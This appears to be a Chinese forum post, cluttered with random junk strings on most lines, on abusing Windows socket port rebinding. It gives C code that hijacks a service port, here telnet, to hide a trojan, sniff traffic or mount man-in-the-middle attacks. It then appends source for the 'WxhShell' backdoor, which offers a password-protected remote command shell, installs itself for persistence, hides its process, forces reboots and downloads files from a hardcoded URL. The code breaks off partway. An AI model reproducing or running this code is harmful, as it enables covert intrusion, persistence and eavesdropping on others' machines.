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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `4]-B@ 7_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 'UCF2 L  
QEL3b4Vm  
  saddr.sin_family = AF_INET; ET]`  
A^7Y%  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); LTY(6we-  
u|8V7*)3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); < uzDuBN  
@h\u}Ee  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gJn_8\,C>Q  
!Ys.KDL  
  这意味着什么?意味着可以进行如下的攻击: wmS:*U2sc  
my3W[3#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;(Qm<JAa  
'v3> "b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 9s6d+HhM  
0/%VejZ'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 UD r@  
Jqi^Z*PuX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FU~:9EEx  
G0h7MO%x  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \\Huk*Jn{  
4THGHS^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?Da!QH >,]  
T%:W6fH7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~4tu*\P  
A =k{Rl{LA  
  #include 3>sA_  
  #include Qjh @oWT  
  #include A[oxG;9xi  
  #include    #PRkqg+|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [<{+tAdn)  
  int main() Ik|nL#JH]  
  { n.xW"omN  
  WORD wVersionRequested; M>g\Y  
  DWORD ret; t7DT5SrR  
  WSADATA wsaData; -5yEd>Z  
  BOOL val; >H?{=H+/#  
  SOCKADDR_IN saddr; rOy-6og  
  SOCKADDR_IN scaddr; )b AcU  
  int err; 6jtnH'E/  
  SOCKET s; +lqX;*a=N  
  SOCKET sc; MkG*6A  
  int caddsize; Cc,,e`  
  HANDLE mt; `=3:*.T*  
  DWORD tid;   i/U HDqZ  
  wVersionRequested = MAKEWORD( 2, 2 ); h{cJ S9e}  
  err = WSAStartup( wVersionRequested, &wsaData ); vJfex,#lv  
  if ( err != 0 ) { RI_3X5.KQ  
  printf("error!WSAStartup failed!\n"); ebS>_jD  
  return -1; !N1DJd  
  } Bq]eNq  
  saddr.sin_family = AF_INET; _6 |lw&o07  
   !8O*)=RA  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?8Hr 9  
x;Jy-hMNl  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /_P5U E(  
  saddr.sin_port = htons(23); 50.cMms  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =X11x)]F9  
  { (TV ye4Z  
  printf("error!socket failed!\n"); =)3tVH&  
  return -1; /r Hd9^Y  
  } z\8Kz ]n~  
  val = TRUE; ]?`t spm<t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ]I#yS=;  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k/yoRv%  
  { f6ad@2  
  printf("error!setsockopt failed!\n"); G_~w0r#  
  return -1; =:zmF]j9  
  } -qBrJ1*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Vx^+Z,y&QP  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x\Bl^1&  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !;^sIoRPV  
bCF"4KXK  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) G.,dP +i  
  { Og?]y ^y  
  ret=GetLastError(); V\"x#uB  
  printf("error!bind failed!\n"); m]$!wp  
  return -1; Z`23z( +  
  } pN"d~Z8  
  listen(s,2); Dxu2rz!li-  
  while(1) spV/+jy{  
  { .R` {.~_{!  
  caddsize = sizeof(scaddr); uFIr.U$V  
  //接受连接请求 ^6 F-H(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DDT)l+:XP  
  if(sc!=INVALID_SOCKET) ! 3O#'CV  
  { !52]'yub  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); jd|? aK;(  
  if(mt==NULL) Yqy7__vm  
  { lUd/^u`  
  printf("Thread Creat Failed!\n"); #]'#\d#i  
  break; %B$~yx3#  
  } POQRq%w  
  } SXn1v.6  
  CloseHandle(mt); :;S]jNy}j)  
  } |~Hlv^6H  
  closesocket(s); ,25Qhz]  
  WSACleanup(); cbD&tsF  
  return 0; #=@( m.k:s  
  }   C&b^TLe  
  DWORD WINAPI ClientThread(LPVOID lpParam) t8,s]I&  
  { J)iy6{0"  
  SOCKET ss = (SOCKET)lpParam; E4aCL#}D  
  SOCKET sc; Lf|5miO  
  unsigned char buf[4096]; :yo tpa  
  SOCKADDR_IN saddr; 'PF?D~  
  long num; eDR4 c%  
  DWORD val; UW*[)yw]  
  DWORD ret; _ 6"!y ]Q  
  //如果是隐藏端口应用的话,可以在此处加一些判断 4~8++b1/;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   _Kg:jal  
  saddr.sin_family = AF_INET; y|1,h}H^n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (-tF=wR,W  
  saddr.sin_port = htons(23); ][1 *.7-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <GI{`@5C  
  { {%ZD ^YSA  
  printf("error!socket failed!\n"); qh!2dj  
  return -1; \-Mzs 0R  
  } 4i>sOP3 B  
  val = 100; K'EGm #I  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5"=qVmT)  
  { <J4|FOz!=  
  ret = GetLastError(); %]Gm  
  return -1; RfVVAaI  
  } > Q+Bw"W<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) s)ymm7?  
  { YoV^Y&:9<  
  ret = GetLastError(); &)@|WLW  
  return -1; B>}=x4-8  
  } JyY-@GF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \*Ro a&<!  
  { ^| L@f  
  printf("error!socket connect failed!\n"); KiU/N$ E  
  closesocket(sc); <\< [J0  
  closesocket(ss); m0+X 109  
  return -1; Zb<IZ)i#1  
  } XS5*=hv:  
  while(1) vs-%J 6}G  
  { pZ?7'+u$L  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \M-}(>Pfk  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,"~#s(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3[plwe  
  num = recv(ss,buf,4096,0); ?YzOA${  
  if(num>0) c|8[$_2  
  send(sc,buf,num,0); ;*K@8GnU  
  else if(num==0) 'xi[- -  
  break; ;Ll/rJ:*  
  num = recv(sc,buf,4096,0); .'QE o  
  if(num>0) J0@<6~V6o  
  send(ss,buf,num,0); Sq"O<FmI  
  else if(num==0) 6KuB<od  
  break; JX%B_eUlAs  
  } @giJ&3S,  
  closesocket(ss); .:?X<=!S&t  
  closesocket(sc); +.gM"JV  
  return 0 ; X_yAx)Do  
  } tJ>|t hk  
eYd6~T[9  
^s z4-+>  
========================================================== B]Vnu7  
`NqX{26GV+  
下边附上一个代码,,WXhSHELL kk_$j_0  
Wy{xTLXk2  
========================================================== 0Q^ -d+!  
%$K2$dq5  
#include "stdafx.h" n]$50_@  
g.![>?2$8  
#include <stdio.h>  AnK-\4  
#include <string.h> VhdMKq~`  
#include <windows.h> 2%Bq[SMuN  
#include <winsock2.h> *k)v#;B  
#include <winsvc.h> i7g+8 zd8d  
#include <urlmon.h> Id`?yt  
_&!%yW@  
#pragma comment (lib, "Ws2_32.lib") vK\n4mE[,  
#pragma comment (lib, "urlmon.lib") sHC4iMIw  
P70\ |M0~y  
#define MAX_USER   100 // 最大客户端连接数 ?;1^8 c0  
#define BUF_SOCK   200 // sock buffer Jj=0{(X  
#define KEY_BUFF   255 // 输入 buffer N|cWTbi  
> <cK  
#define REBOOT     0   // 重启 1<Fh aK  
#define SHUTDOWN   1   // 关机 TEC'}%   
m/W0vPM 1  
#define DEF_PORT   5000 // 监听端口 3QlV,)}  
?M'_L']N[  
#define REG_LEN     16   // 注册表键长度 x2gnB@t  
#define SVC_LEN     80   // NT服务名长度 /">A3bq  
$6\-8zNk  
// 从dll定义API gG;d+s1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &w@~@]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *LnY}#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {=]1]IWt  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r?Y+TtF\e  
HF@K$RPK  
// wxhshell配置信息 hZ_0lX}  
struct WSCFG { o(iv=(o  
  int ws_port;         // 监听端口 XEd|<+P1  
  char ws_passstr[REG_LEN]; // 口令 -oGJPl{r  
  int ws_autoins;       // 安装标记, 1=yes 0=no n^O Wz4  
  char ws_regname[REG_LEN]; // 注册表键名 " jefB6k9h  
  char ws_svcname[REG_LEN]; // 服务名 4Y>v+N^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C~\/FrO?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {4u8~whLp  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V'vDXzk\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S,&tKDJn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _y~H#r9:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BzFD_A>j;_  
nv WTx4oy  
}; XAN{uD^3\%  
Efo,5  
// default Wxhshell configuration UO-<~DgH  
struct WSCFG wscfg={DEF_PORT, qta^i819  
    "xuhuanlingzhe", /+pPcK  
    1, s^nPSY!  
    "Wxhshell", C:C9swik"5  
    "Wxhshell", Mv9q-SIc[  
            "WxhShell Service", iy&*5U  
    "Wrsky Windows CmdShell Service", EA )28]Y.  
    "Please Input Your Password: ", 4fe$0mye  
  1, 7ky$9+~  
  "http://www.wrsky.com/wxhshell.exe", QW ~-+BD  
  "Wxhshell.exe" SZ+<0Y |  
    }; lNV%R(  
Mp;yvatO  
// 消息定义模块 .BLF7> M1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RfPRCIo  
char *msg_ws_prompt="\n\r? for help\n\r#>"; H]:z:AAvX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Bsm>^zZ`YU  
char *msg_ws_ext="\n\rExit."; :Uu Py|>  
char *msg_ws_end="\n\rQuit."; &&C]i~  
char *msg_ws_boot="\n\rReboot..."; }NQx2k0  
char *msg_ws_poff="\n\rShutdown..."; Ydv\a6  
char *msg_ws_down="\n\rSave to "; $#V ^CmW.  
%\=oy=f  
char *msg_ws_err="\n\rErr!"; !oXA^7Th6]  
char *msg_ws_ok="\n\rOK!"; *|c*/7]<  
;d17xu?ks  
char ExeFile[MAX_PATH]; o!Vs{RRu}  
int nUser = 0; )3i}(h0  
HANDLE handles[MAX_USER]; ZB-+ bY  
int OsIsNt; .F'fBT` $  
,6[}qw) *  
SERVICE_STATUS       serviceStatus; +cAN4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x~."P*5  
<,~ =o  
// 函数声明 "P:kZ= M Q  
int Install(void); @a.Y9;O  
int Uninstall(void); 5BKmp-m  
int DownloadFile(char *sURL, SOCKET wsh); h3^ &,U  
int Boot(int flag); Is6<3eQ\x  
void HideProc(void); q?C)5(  
int GetOsVer(void); ,j~ R ^j  
int Wxhshell(SOCKET wsl); b@ J&jE~d  
void TalkWithClient(void *cs); rQNT  
int CmdShell(SOCKET sock); _`!@  
int StartFromService(void); T W?O  
int StartWxhshell(LPSTR lpCmdLine); rN|c0N  
qlUYu"`i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5 Vm |/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qL^}t_>  
W%]sI n  
// 数据结构和表定义 kP%Hg/f/Ot  
SERVICE_TABLE_ENTRY DispatchTable[] = DI=Nqa)r  
{ zE V J  
{wscfg.ws_svcname, NTServiceMain}, 8uME6]m i  
{NULL, NULL} J.x>*3< l  
}; D5X;hd  
t/cj z/]  
// 自我安装 (sw1HR  
int Install(void) 2tvMa%1^  
{ ?MhRdY  
  char svExeFile[MAX_PATH]; eafy5vN[zX  
  HKEY key; &/ lJ7=Nq  
  strcpy(svExeFile,ExeFile); !x.^ya  
7p}G!]`  
// 如果是win9x系统,修改注册表设为自启动 ^o't &  
if(!OsIsNt) { ;% *e}w0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8|[\Tp:;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z;x `dOP  
  RegCloseKey(key); amf=uysr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /2oTqEqaV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vCwDE~  
  RegCloseKey(key); 8eP2B281  
  return 0; iUh_rX9A"  
    } Ms ?V1  
  } ~4Is   
} dJ`Fvj  
else { 8xmw-s)  
#&">x7?5  
// 如果是NT以上系统,安装为系统服务 $P]% Px!x  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K@VXFV  
if (schSCManager!=0) -5\aL"?4  
{ ^ j@Q2>&?  
  SC_HANDLE schService = CreateService Kq`Luf  
  ( #;juZ*I  
  schSCManager, =!xeki]|9  
  wscfg.ws_svcname, ~nb%w?vv  
  wscfg.ws_svcdisp, L{2\NJ"+u  
  SERVICE_ALL_ACCESS, !?tWWU%P)  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K_nN|'R-  
  SERVICE_AUTO_START, > c7/E  
  SERVICE_ERROR_NORMAL, kETA3(h'  
  svExeFile, )iy>sa{  
  NULL, c%)uG _  
  NULL, '2]u{rr~+  
  NULL, {mL/)\  
  NULL, L4sN)EI  
  NULL h_]3L/  
  ); 6K P!o  
  if (schService!=0) 8BNsh[+  
  { ,?B.+4CW\E  
  CloseServiceHandle(schService); nx=#QLi  
  CloseServiceHandle(schSCManager); {R8Q`2R  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Wnl8XHPn  
  strcat(svExeFile,wscfg.ws_svcname); GMU<$x8o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /+RNPQO O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5 LX3.  
  RegCloseKey(key); zx(j6  
  return 0; Xkl^!,  
    } 4PiNQ'*  
  } o;Zoj}  
  CloseServiceHandle(schSCManager); ,-CDF)~G=3  
} P; }Z 3!  
} B\|>i~u(  
OJ UM Y<5  
return 1; K@n.$g  
} NOx&`OU+  
q22cp&gmX  
// 自我卸载 Hh;w\)/%j  
int Uninstall(void) +nuv?QB/  
{ 6WfyP@ f  
  HKEY key; ~J<bwF  
n{BC m %  
if(!OsIsNt) { w#F+rh3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |@nvg>mu  
  RegDeleteValue(key,wscfg.ws_regname); RW(AjDM  
  RegCloseKey(key); RU"w|Qu>pM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JIb<>X,  
  RegDeleteValue(key,wscfg.ws_regname); RMC|(Q<  
  RegCloseKey(key); `N(.10~  
  return 0; 0y;&L63>T  
  } 42 p6l   
} ts;_T..L  
} ";s5It  
else { GJO/']k  
8.pz?{**T  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X""'}X|O  
if (schSCManager!=0) 2Fx<QRz  
{ pDkT_6Q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5.?O PK6  
  if (schService!=0) Y ga}8DU  
  { `zzX2R Je  
  if(DeleteService(schService)!=0) { Qlb@Az  
  CloseServiceHandle(schService); *|t]6!aVLS  
  CloseServiceHandle(schSCManager); 6S6nE%.3  
  return 0; t C6c4j  
  } 1xguG7  
  CloseServiceHandle(schService); %4 SREq  
  } 3]N}k|lb%  
  CloseServiceHandle(schSCManager); @1]<LQ\\  
} J+IW  
} tMAa$XrZj  
nrt0[E-&~  
return 1; m6;Xo}^w  
} ~|uCZ.;o  
'R,d?ikY  
// 从指定url下载文件 On'3K+(_  
int DownloadFile(char *sURL, SOCKET wsh) G4x.''r&Sl  
{ l*v([@A\  
  HRESULT hr; 3~cOQ%#]4  
char seps[]= "/"; A^K,[8VX  
char *token; &us8,x6yg  
char *file; U~H'c p  
char myURL[MAX_PATH]; Ep?a>\  
char myFILE[MAX_PATH]; ;*Rajq  
Mxd fuFss  
strcpy(myURL,sURL); EPa3Yb?BGb  
  token=strtok(myURL,seps); |ni cvg@  
  while(token!=NULL) 5ef&Ih.3  
  { COHJJONR  
    file=token; dlT\VWMha(  
  token=strtok(NULL,seps); pRU6jV 6e)  
  } pM46I"  
!r LHPg  
GetCurrentDirectory(MAX_PATH,myFILE); N!h>fE`  
strcat(myFILE, "\\"); O"#`i{^?2  
strcat(myFILE, file); {?!hUi+  
  send(wsh,myFILE,strlen(myFILE),0); |iwTzlt*#  
send(wsh,"...",3,0); g$ 2M|Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1)YFEU&]  
  if(hr==S_OK) 6~!YEuA  
return 0; wP8R=T  
else  Nl_;l  
return 1; ,B#Y9[R  
RChY+3,L)  
} :mJM=FeJ  
$U8ap4EXM  
// 系统电源模块 T^nX+;:|  
int Boot(int flag) jSVO$AW~C  
{ ?s?uoZ /2  
  HANDLE hToken; iit`'}+U  
  TOKEN_PRIVILEGES tkp; 3?%kawO&  
O ,>&w5   
  if(OsIsNt) { )/U1; O  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I L\mFjZ'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {``}TsN  
    tkp.PrivilegeCount = 1; Z~c7r n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8@A[ `5  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k9n  
if(flag==REBOOT) { :5*<QJuI#A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) xw-q)u  
  return 0; +[qkG. O  
} ZbrE m  
else { p!a%*LfND  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m[bu(qz  
  return 0; ZF t^q /pw  
} ..T (9]h  
  } }O>Zu[8a  
  else { z8!u6odu %  
if(flag==REBOOT) { _@p|A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  \1MDCP9:  
  return 0; -24.[E/5  
} MMAC,4  
else { lET)<V(Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P X0#X=$  
  return 0; `o3d@Vc  
} FG H>;H@  
} :$tW9*\KY  
"n e'iJf_(  
return 1; g.]'0)DMW  
} }M7kApb>Y  
*nc4X9  
// win9x进程隐藏模块 [>:gwl _\  
void HideProc(void) b910Z?B^L  
{ BJE <~"  
U .Od  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bGJUu#  
  if ( hKernel != NULL ) OL'=a|g|c  
  { Imw x~eo  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8`t%QhE2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h+W^k+~(  
    FreeLibrary(hKernel); )2$_:Ek  
  } uUe\[-~  
G8s`<:9*  
return; #K l2K4  
} Hj\~sR$L-  
Z:v1?v  
// 获取操作系统版本 _UBI,Dg]  
int GetOsVer(void) } 8P}L@q  
{ ^%d{i'9?  
  OSVERSIONINFO winfo; U %ESuq#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S8=4C`>jf  
  GetVersionEx(&winfo); m?j!0>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) PWMaB  
  return 1; [:QMnJ  
  else (*RybKoaA  
  return 0; o.5j@ dr  
} W.|6$hRl)  
LasH[:QQQ  
// 客户端句柄模块 KVR}Tp/R  
int Wxhshell(SOCKET wsl) nB5[]x'  
{ *lK4yI*%o  
  SOCKET wsh; 752wK|o0|;  
  struct sockaddr_in client; LU{Z  
  DWORD myID; ]~^/w}(K  
lnDDFsA  
  while(nUser<MAX_USER) g5Dx9d{  
{ {K:Utdu($q  
  int nSize=sizeof(client); ^kr)U8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g#4gGhI  
  if(wsh==INVALID_SOCKET) return 1; #:|Y(,c  
cDiz!n*.q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )sf~l6  
if(handles[nUser]==0) #%9]Lq  
  closesocket(wsh); v-3zav  
else Hl;p>>n  
  nUser++; .Y|\7%(  
  } .A\\v6@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xp&!Cl>C3\  
]M(mq`K  
  return 0; sZ"U=6R  
}  nvPE N  
F}]_/cY7B  
// 关闭 socket Q: O>kCDV  
void CloseIt(SOCKET wsh) .$0Ob<.  
{ bUN,P"  
closesocket(wsh); #mhD; .Wg  
nUser--; Qs9U&*L  
ExitThread(0); QYgN39gp  
} mi<D bnou  
p'uz2/g  
// 客户端请求句柄 n^\;*1%$c@  
void TalkWithClient(void *cs) o# xg:m_py  
{ ;8i L,^.A  
"Y]ZPFh#.  
  SOCKET wsh=(SOCKET)cs; EQ7n'Wqq  
  char pwd[SVC_LEN]; 2<G1'7)  
  char cmd[KEY_BUFF]; cN7z(I0[  
char chr[1]; @$P!#z  
int i,j; $Je"z]cy-  
Z9m;@<%  
  while (nUser < MAX_USER) { 9S%gVNxn  
o#P3lz  
if(wscfg.ws_passstr) { {p|%hhTK%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 50ew/fZj|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .w_`d'}  
  //ZeroMemory(pwd,KEY_BUFF); 5TneuGD  
      i=0; 1[BvHOI2  
  while(i<SVC_LEN) { y,?G75wij  
q#&#*6 )B  
  // 设置超时 }t2pIkF;  
  fd_set FdRead; kc'0NE4oq  
  struct timeval TimeOut; 7NB 9Vu|gD  
  FD_ZERO(&FdRead); $p3Wjf:bH  
  FD_SET(wsh,&FdRead); e=l5j"gq  
  TimeOut.tv_sec=8; 4)HWPX  
  TimeOut.tv_usec=0; Om2X>/V%C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _P<lG[V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )H9*NB8%  
=O#AOw`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (+LR u1z  
  pwd=chr[0]; qH Ga  
  if(chr[0]==0xd || chr[0]==0xa) { %s2"W~  
  pwd=0; As~p1%nok  
  break; P5}[*k%DQw  
  } bo;pj$eR3R  
  i++; C cr+SR2  
    } ]cqZ!4?_  
z|]oM#Gt  
  // 如果是非法用户,关闭 socket )L<?g !j~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0r-lb[n8i  
} O)xEF~DaD  
6IY}SI0N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); < mK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L%K_.!d^  
As'M3 9*V  
while(1) { ^T&u!{82j  
.x!7  
  ZeroMemory(cmd,KEY_BUFF); {vT55i<mk  
KTK6#[8A  
      // 自动支持客户端 telnet标准   |5IY`;+9  
  j=0; <,pLW~2-"  
  while(j<KEY_BUFF) { "h^#<bPN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cF&h$4-  
  cmd[j]=chr[0]; UW/3{2  
  if(chr[0]==0xa || chr[0]==0xd) { 2]NAs9aZ  
  cmd[j]=0; ]X: rby$  
  break; R_Gq8t$  
  } #1't"R+3M  
  j++; {?f^  
    } 6l\UNG7  
TFC!u 0Y"$  
  // 下载文件 *[xNp[4EU  
  if(strstr(cmd,"http://")) { 9j?hF$L"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bj7MzlGFy  
  if(DownloadFile(cmd,wsh)) sK 1m9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9{%g-u \  
  else V1`5D7Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *%N7QyO`I  
  } F%.9f Uo  
  else { HcBH!0  
?]\W8)  
    switch(cmd[0]) { 0"kE^=  
  QK?2E   
  // 帮助 "_1-IE  
  case '?': { _.OMjUBZT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f1Yv hvWL  
    break; B) *#g  
  } <Sprp]n 7  
  // 安装 38U5^`  
  case 'i': { Ie2w0Cs28  
    if(Install()) .hQ3A"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); < R|)5/9  
    else M8?#%x6;N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?BDlB0jxzi  
    break; \ L9?69B~  
    } V8nz-DL{  
  // 卸载 wI@zPVY_i  
  case 'r': { b>bgUDq  
    if(Uninstall()) Pv7f _hw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -y l4tW  
    else !qTpQ5Dm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [/AdeR  
    break; y#Mc4?  
    } T3G/v)ufd  
  // 显示 wxhshell 所在路径 {(M&-~Yh  
  case 'p': { 4aalhy<j  
    char svExeFile[MAX_PATH]; ^fE\S5P  
    strcpy(svExeFile,"\n\r"); h{W$ fZc<  
      strcat(svExeFile,ExeFile); yp[<9%Fi  
        send(wsh,svExeFile,strlen(svExeFile),0); dThn?  
    break; ez^*M:K  
    } + 9\:$wMN  
  // 重启 BP[CR1Gs  
  case 'b': { uG=t?C6  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^ J#?hHz  
    if(Boot(REBOOT)) _OJ0 < {E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5U-p'c9IC  
    else { I 9{40_  
    closesocket(wsh); A;fB6  
    ExitThread(0); L876$  
    } 'ZGT`'ri  
    break; hF{x')(#l  
    } p|h.@do4   
  // 关机 -uv 9(r\P  
  case 'd': { <}28=d  
